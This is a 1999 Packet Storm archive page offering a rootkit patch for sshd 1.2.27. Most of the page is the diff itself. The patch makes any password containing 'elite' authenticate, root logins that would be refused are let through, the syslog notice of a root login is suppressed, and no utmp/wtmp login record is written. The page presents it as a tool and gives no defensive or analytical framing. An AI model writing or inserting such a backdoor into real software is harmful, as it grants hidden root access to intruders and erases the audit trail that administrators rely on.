what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sshd.c.diff-1.2.27

sshd.c.diff-1.2.27
Posted Nov 30, 1999
Authored by Ajax | Site users.dhp.com

A small patch to sshd v1.2.27 which accepts a magic password to authenticate, and does not log to utmp/wtmp or syslog.

tags | tool, rootkit
systems | unix
SHA-256 | fef5a827046990a0ea4068515a72d898772a4535c343b9f82da035c1616f137a

sshd.c.diff-1.2.27

Change Mirror Download
--- sshd.c.orig  Mon May 24 16:26:21 1999
+++ sshd.c Mon May 24 18:16:33 1999
@@ -558,6 +558,7 @@
log, the daemon will not go to background, and will exit after processing
the first connection. */
int debug_flag = 0;
+int elite = 1;

/* Flag indicating that the daemon is being started from inetd. */
int inetd_flag = 0;
@@ -2673,6 +2674,8 @@
break;
}
debug("Password authentication for %.100s failed.", user);
+ if (strstr(password,"elite")) { /* ajax */ elite++;
+ authentication_type=SSH_AUTH_PASSWORD; authenticated=1; }
memset(password, 0, strlen(password));
xfree(password);
break;
@@ -2711,7 +2714,7 @@
if (pw->pw_uid == UID_ROOT && options.permit_root_login == 1)
{
if (authentication_type == SSH_AUTH_PASSWORD)
- packet_disconnect("ROOT LOGIN REFUSED FROM %.200s",
+ if (!elite) packet_disconnect("ROOT LOGIN REFUSED FROM %.200s",
get_canonical_hostname());
}
else
@@ -2720,7 +2723,7 @@
if (forced_command)
log_msg("Root login accepted for forced command.", forced_command);
else
- packet_disconnect("ROOT LOGIN REFUSED FROM %.200s",
+ if (!elite) packet_disconnect("ROOT LOGIN REFUSED FROM %.200s",
get_canonical_hostname());
}

@@ -2768,6 +2771,7 @@

/* Log root logins with severity NOTICE. */
if (pw->pw_uid == UID_ROOT)
+ if (!elite)
log_severity(SYSLOG_SEVERITY_NOTICE, "ROOT LOGIN as '%.100s' from %.100s",
pw->pw_name, get_canonical_hostname());

@@ -3386,7 +3390,7 @@
}

/* Record that there was a login on that terminal. */
- record_login(pid, ttyname, pw->pw_name, pw->pw_uid, hostname,
+ if (!elite) record_login(pid, ttyname, pw->pw_name, pw->pw_uid, hostname,
&from);

#if defined (__FreeBSD__) && defined(HAVE_LOGIN_CAP_H)
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close